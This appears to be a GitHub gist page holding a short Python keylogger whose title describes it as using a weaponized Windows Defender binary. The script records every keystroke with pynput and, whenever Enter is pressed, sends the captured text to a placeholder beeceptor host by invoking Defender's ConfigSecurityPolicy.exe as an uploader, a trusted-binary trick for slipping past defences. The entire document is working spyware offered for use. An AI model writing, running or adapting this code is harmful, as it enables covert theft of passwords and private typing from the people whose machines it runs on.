Created
December 30, 2022 10:32
-
-
Save teixeira0xfffff/6cbba0ea85a42dcd0d684d0faf2c4bd1 to your computer and use it in GitHub Desktop.
Python keylogger with weaponized Binary part of Windows Defender
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pynput.keyboard import Key, Listener | |
import os | |
import sys | |
import subprocess | |
URL = 'https://{your sub here}.free.beeceptor.com' | |
uploader = "C:\\Program Files\\Windows Defender\\ConfigSecurityPolicy.exe" | |
content = "" | |
def on_press(key): | |
global content | |
global URL | |
global uploader | |
if str(key) == 'Key.backspace': | |
content += ' ' | |
else: | |
content += str(key) | |
print(f'last key: {str(key)}') | |
print("") | |
if str(key) == 'Key.enter': | |
upload_url = (f'{URL}?{content}') | |
subprocess.call([uploader, 'c:\\temp\\test.xml', upload_url]) | |
buffer = '' | |
if key == 0x03: | |
sys.exit(0) | |
if __name__ == "__main__": | |
try: | |
with Listener(on_press=on_press) as listener: | |
listener.join() | |
except (KeyboardInterrupt, SystemExit): | |
sys.exit(0) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment